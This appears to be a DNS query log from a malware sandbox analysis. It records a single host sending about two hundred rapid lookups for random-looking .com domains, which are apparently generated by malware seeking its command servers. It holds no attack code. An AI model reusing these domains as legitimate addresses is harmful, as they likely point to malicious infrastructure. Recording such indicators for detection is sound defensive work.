                                                                                                                                                                                                          Nov 11, 2024 18:13:20.677191973 CET192.168.2.61.1.1.10xf2f2Standard query (0)vocygim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.677731037 CET192.168.2.61.1.1.10x1ca2Standard query (0)lyrywur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.681488037 CET192.168.2.61.1.1.10x145eStandard query (0)qetyrul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.681719065 CET192.168.2.61.1.1.10xea1cStandard query (0)qegyxav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.682128906 CET192.168.2.61.1.1.10x8297Standard query (0)purywyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.682281017 CET192.168.2.61.1.1.10x5b99Standard query (0)lyvygon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.684179068 CET192.168.2.61.1.1.10x152dStandard query (0)puvygog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.687968016 CET192.168.2.61.1.1.10x9f93Standard query (0)puryjeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.688148975 CET192.168.2.61.1.1.10x432cStandard query (0)vocybuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.691435099 CET192.168.2.61.1.1.10xf751Standard query (0)gadypah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.693393946 CET192.168.2.61.1.1.10x3bf9Standard query (0)pumyjev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.693624020 CET192.168.2.61.1.1.10x39a7Standard query (0)gaqyqez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.694818974 CET192.168.2.61.1.1.10x3ddbStandard query (0)galyvuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.694983006 CET192.168.2.61.1.1.10x4c6fStandard query (0)vowyqyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.695797920 CET192.168.2.61.1.1.10x67f6Standard query (0)lyxyfuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.696161032 CET192.168.2.61.1.1.10x9df9Standard query (0)vonyjef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.697710037 CET192.168.2.61.1.1.10xb5d7Standard query (0)vojycec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.698121071 CET192.168.2.61.1.1.10xefd6Standard query (0)gahyces.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.698900938 CET192.168.2.61.1.1.10x6fb7Standard query (0)lygyxad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.699640036 CET192.168.2.61.1.1.10x9eb3Standard query (0)qegytop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.702440977 CET192.168.2.61.1.1.10x9d2dStandard query (0)gacyfih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.715711117 CET192.168.2.61.1.1.10x8eefStandard query (0)pujypal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.716809988 CET192.168.2.61.1.1.10xcbc9Standard query (0)gatykyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.718575954 CET192.168.2.61.1.1.10x2ed9Standard query (0)qetykyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.719157934 CET192.168.2.61.1.1.10xf25fStandard query (0)gahypoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.719912052 CET192.168.2.61.1.1.10xd8f9Standard query (0)lykyser.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.721678019 CET192.168.2.61.1.1.10x31e8Standard query (0)qebyniv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.722029924 CET192.168.2.61.1.1.10xed93Standard query (0)vojypat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.723270893 CET192.168.2.61.1.1.10x3d83Standard query (0)lyryjej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.725675106 CET192.168.2.61.1.1.10xb83cStandard query (0)lyvynid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.744380951 CET192.168.2.61.1.1.10x17abStandard query (0)ganynos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.744477034 CET192.168.2.61.1.1.10x8ec4Standard query (0)qedylig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.750869989 CET192.168.2.61.1.1.10xa88eStandard query (0)vofyzof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.788187027 CET192.168.2.61.1.1.10x3ae0Standard query (0)puvybuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.797265053 CET192.168.2.61.1.1.10x5d0cStandard query (0)lymymax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.797411919 CET192.168.2.61.1.1.10xf5c8Standard query (0)qeqyqep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.804205894 CET192.168.2.61.1.1.10x2bcdStandard query (0)vopykum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.804536104 CET192.168.2.61.1.1.10xafdStandard query (0)gadyzib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.804744959 CET192.168.2.61.1.1.10x7a7eStandard query (0)volydyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.804950953 CET192.168.2.61.1.1.10x585fStandard query (0)qekysel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.805144072 CET192.168.2.61.1.1.10xf29bStandard query (0)galydyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.805373907 CET192.168.2.61.1.1.10xfb9bStandard query (0)lysylun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.805681944 CET192.168.2.61.1.1.10x3b3aStandard query (0)pupylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.807256937 CET192.168.2.61.1.1.10xa87cStandard query (0)pumymap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.807903051 CET192.168.2.61.1.1.10x183Standard query (0)vonymoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.813240051 CET192.168.2.61.1.1.10xbf4Standard query (0)puzyduq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.889525890 CET192.168.2.61.1.1.10x47c8Standard query (0)lyvyver.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.890407085 CET192.168.2.61.1.1.10x8c9cStandard query (0)gatyhos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.893543959 CET192.168.2.61.1.1.10xc70aStandard query (0)qetyhov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.905255079 CET192.168.2.61.1.1.10x37a2Standard query (0)lykytin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.910523891 CET192.168.2.61.1.1.10x96e2Standard query (0)vopyjac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.921456099 CET192.168.2.61.1.1.10x22cfStandard query (0)ganyvyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.929848909 CET192.168.2.61.1.1.10x8c39Standard query (0)pupyjap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.930428028 CET192.168.2.61.1.1.10x8c6Standard query (0)qekytig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.930629969 CET192.168.2.61.1.1.10xc829Standard query (0)vonybuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.948175907 CET192.168.2.61.1.1.10xb4dbStandard query (0)gaqyhaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.948508978 CET192.168.2.61.1.1.10xe3e8Standard query (0)purymog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.948879004 CET192.168.2.61.1.1.10x9603Standard query (0)volycem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.949192047 CET192.168.2.61.1.1.10x41cdStandard query (0)pupywyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.951766014 CET192.168.2.61.1.1.10x7e38Standard query (0)lymygor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.953075886 CET192.168.2.61.1.1.10x9163Standard query (0)puzyceg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.957689047 CET192.168.2.61.1.1.10x7a54Standard query (0)vojyzik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.960712910 CET192.168.2.61.1.1.10x41e7Standard query (0)vopyqef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.960964918 CET192.168.2.61.1.1.10x33ebStandard query (0)qebyfup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.961837053 CET192.168.2.61.1.1.10x24bdStandard query (0)qebyvyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.962039948 CET192.168.2.61.1.1.10x94eaStandard query (0)lygylur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.962532043 CET192.168.2.61.1.1.10x8220Standard query (0)vofyruc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.962676048 CET192.168.2.61.1.1.10x660cStandard query (0)qekyxaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.962783098 CET192.168.2.61.1.1.10xe359Standard query (0)galycah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.964416981 CET192.168.2.61.1.1.10xae51Standard query (0)qedyruv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.964509964 CET192.168.2.61.1.1.10x2029Standard query (0)gahyziw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.965769053 CET192.168.2.61.1.1.10xdd5aStandard query (0)ganyfuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.965780020 CET192.168.2.61.1.1.10x882cStandard query (0)puvydyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002361059 CET192.168.2.61.1.1.10x58a9Standard query (0)qexyvyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002563953 CET192.168.2.61.1.1.10xfe7dStandard query (0)lygytix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002563953 CET192.168.2.61.1.1.10x38f2Standard query (0)gacyvub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002757072 CET192.168.2.61.1.1.10x8255Standard query (0)gadykyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002969980 CET192.168.2.61.1.1.10xc131Standard query (0)pufytip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.003344059 CET192.168.2.61.1.1.10x8c89Standard query (0)lyvyfux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.003500938 CET192.168.2.61.1.1.10x35e8Standard query (0)qexysev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.003724098 CET192.168.2.61.1.1.10x225fStandard query (0)qegylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.009572029 CET192.168.2.61.1.1.10xbf07Standard query (0)lysyjex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.009937048 CET192.168.2.61.1.1.10xfb93Standard query (0)pujyxoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.012578011 CET192.168.2.61.1.1.10xd2caStandard query (0)vowyjak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.020531893 CET192.168.2.61.1.1.10xd2baStandard query (0)lyryman.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.023224115 CET192.168.2.61.1.1.10x5cf2Standard query (0)pumygil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.023526907 CET192.168.2.61.1.1.10xa867Standard query (0)vocydyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.027985096 CET192.168.2.61.1.1.10xebdStandard query (0)pujytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.029439926 CET192.168.2.61.1.1.10xe29bStandard query (0)gacydes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.029668093 CET192.168.2.61.1.1.10x1295Standard query (0)vowymom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.029814959 CET192.168.2.61.1.1.10x9c4bStandard query (0)puzypav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.030004025 CET192.168.2.61.1.1.10x1e2eStandard query (0)lymynuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.030148983 CET192.168.2.61.1.1.10xa5c4Standard query (0)gaqynih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.030379057 CET192.168.2.61.1.1.10x5546Standard query (0)volypof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.030690908 CET192.168.2.61.1.1.10xfb88Standard query (0)vonygit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.031240940 CET192.168.2.61.1.1.10xbf22Standard query (0)qetyqag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.031806946 CET192.168.2.61.1.1.10x7c14Standard query (0)gadyrus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.031965971 CET192.168.2.61.1.1.10x3584Standard query (0)gatyqeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.032188892 CET192.168.2.61.1.1.10xcfeaStandard query (0)lyxysad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.032354116 CET192.168.2.61.1.1.10x817cStandard query (0)vofykyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.032527924 CET192.168.2.61.1.1.10x70Standard query (0)qeqyhol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.035186052 CET192.168.2.61.1.1.10xc9c7Standard query (0)pumybuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.038525105 CET192.168.2.61.1.1.10xc731Standard query (0)qedykep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.044856071 CET192.168.2.61.1.1.10x1c13Standard query (0)lykyxoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.055917025 CET192.168.2.61.1.1.10x23cdStandard query (0)lyxyvyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.056135893 CET192.168.2.61.1.1.10xa20eStandard query (0)pufylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.056303024 CET192.168.2.61.1.1.10x9764Standard query (0)lysywyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.056463957 CET192.168.2.61.1.1.10x1e21Standard query (0)qeqyniq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.059804916 CET192.168.2.61.1.1.10x9d93Standard query (0)galypob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.195087910 CET192.168.2.61.1.1.10xd832Standard query (0)vojyrum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.583712101 CET192.168.2.61.1.1.10x5bd3Standard query (0)gahyruh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.583712101 CET192.168.2.61.1.1.10x84fcStandard query (0)qegyryq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.584115982 CET192.168.2.61.1.1.10xfce7Standard query (0)lyrygid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.584563971 CET192.168.2.61.1.1.10x6061Standard query (0)vocycat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.584760904 CET192.168.2.61.1.1.10xa96Standard query (0)purygiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.587456942 CET192.168.2.61.1.1.10xe1Standard query (0)lysymor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.587940931 CET192.168.2.61.1.1.10x222Standard query (0)pupyguq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.590060949 CET192.168.2.61.1.1.10x7033Standard query (0)qekyryp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.590305090 CET192.168.2.61.1.1.10x5244Standard query (0)gatyniz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.591211081 CET192.168.2.61.1.1.10x7f7eStandard query (0)puvycel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.591552019 CET192.168.2.61.1.1.10xe600Standard query (0)purybup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.592992067 CET192.168.2.61.1.1.10x90ceStandard query (0)lygyjan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.594093084 CET192.168.2.61.1.1.10x39bdStandard query (0)qexytil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.594435930 CET192.168.2.61.1.1.10x8a9dStandard query (0)gaqyvys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.602880955 CET192.168.2.61.1.1.10x7189Standard query (0)vonydem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.603180885 CET192.168.2.61.1.1.10x16bbStandard query (0)lykywex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.603708029 CET192.168.2.61.1.1.10xe57aStandard query (0)galyzus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.605830908 CET192.168.2.61.1.1.10x369bStandard query (0)ganycob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.606168985 CET192.168.2.61.1.1.10xd7b8Standard query (0)qeqyvev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.606899977 CET192.168.2.61.1.1.10x4786Standard query (0)vofyjom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.607405901 CET192.168.2.61.1.1.10x4605Standard query (0)lyxytur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.607609034 CET192.168.2.61.1.1.10xd8e1Standard query (0)pufyjag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.608468056 CET192.168.2.61.1.1.10x4065Standard query (0)vowybyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.624166965 CET192.168.2.61.1.1.10xd36aStandard query (0)vocypok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.624166965 CET192.168.2.61.1.1.10xe825Standard query (0)qegykeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.625750065 CET192.168.2.61.1.1.10x632fStandard query (0)lyrynux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.708101034 CET192.168.2.61.1.1.10xb42dStandard query (0)ganydeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.708466053 CET192.168.2.61.1.1.10xc37Standard query (0)gadyhoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.708748102 CET192.168.2.61.1.1.10xefb7Standard query (0)qebysaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.709260941 CET192.168.2.61.1.1.10x7f6Standard query (0)puzytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.709593058 CET192.168.2.61.1.1.10xd05Standard query (0)vopymit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.709892988 CET192.168.2.61.1.1.10x548bStandard query (0)qexyxop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.728848934 CET192.168.2.61.1.1.10x6ed3Standard query (0)lygywyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.728883028 CET192.168.2.61.1.1.10x473aStandard query (0)pupymol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.729223013 CET192.168.2.61.1.1.10xc881Standard query (0)gahykeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.729800940 CET192.168.2.61.1.1.10xeeb4Standard query (0)volyzic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.729965925 CET192.168.2.61.1.1.10xf6aeStandard query (0)lymyfyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.730021954 CET192.168.2.61.1.1.10xab72Standard query (0)gacypiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.730314016 CET192.168.2.61.1.1.10xc60fStandard query (0)qeqyfug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.730967045 CET192.168.2.61.1.1.10xe245Standard query (0)gacycaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.738528967 CET192.168.2.61.1.1.10x8bc3Standard query (0)vofyqek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740489960 CET192.168.2.61.1.1.10x20e0Standard query (0)pumydyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740731001 CET192.168.2.61.1.1.10x67c0Standard query (0)qekyluv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740778923 CET192.168.2.61.1.1.10x99d5Standard query (0)pufyweq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.741097927 CET192.168.2.61.1.1.10xc56eStandard query (0)vopyguk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.746057987 CET192.168.2.61.1.1.10x3ae7Standard query (0)pujylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.746234894 CET192.168.2.61.1.1.10x16beStandard query (0)qetynup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.746397018 CET192.168.2.61.1.1.10x6ff2Standard query (0)volyrut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.746539116 CET192.168.2.61.1.1.10x8bf9Standard query (0)lymyved.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.747323990 CET192.168.2.61.1.1.10xc6daStandard query (0)qedyhiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.747936010 CET192.168.2.61.1.1.10x7acaStandard query (0)lyvysaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749114037 CET192.168.2.61.1.1.10xd5bdStandard query (0)puvypoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749296904 CET192.168.2.61.1.1.10xb52bStandard query (0)vowyguf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749669075 CET192.168.2.61.1.1.10x7303Standard query (0)vojykyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749849081 CET192.168.2.61.1.1.10x5bd7Standard query (0)lykylud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749999046 CET192.168.2.61.1.1.10x2ee2Standard query (0)vonycaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.750540018 CET192.168.2.61.1.1.10xb88Standard query (0)lysygij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.752296925 CET192.168.2.61.1.1.10x8924Standard query (0)pumycav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.752521992 CET192.168.2.61.1.1.10xd04bStandard query (0)gaqyfub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.752902985 CET192.168.2.61.1.1.10x8256Standard query (0)galyryz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.778534889 CET192.168.2.61.1.1.10xba88Standard query (0)qedyqal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.778919935 CET192.168.2.61.1.1.10x9eccStandard query (0)puzyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.801300049 CET192.168.2.61.1.1.10x791eStandard query (0)lyxyxox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.832101107 CET192.168.2.61.1.1.10x31f2Standard query (0)gadyqaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.433587074 CET192.168.2.61.1.1.10x132Standard query (0)lysyfed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.435877085 CET192.168.2.61.1.1.10x24b3Standard query (0)pumyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.436326981 CET192.168.2.61.1.1.10xdab7Standard query (0)lymyxir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.436570883 CET192.168.2.61.1.1.10x6fe8Standard query (0)galyqoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.450772047 CET192.168.2.61.1.1.10xc36Standard query (0)lyxywen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.457640886 CET192.168.2.61.1.1.10x4a33Standard query (0)gaqycow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.465400934 CET192.168.2.61.1.1.10x5374Standard query (0)volyqam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.468794107 CET192.168.2.61.1.1.10x8661Standard query (0)vowycok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.468982935 CET192.168.2.61.1.1.10xdf4bStandard query (0)vojyjot.comA (IP address)IN (0x0001)false
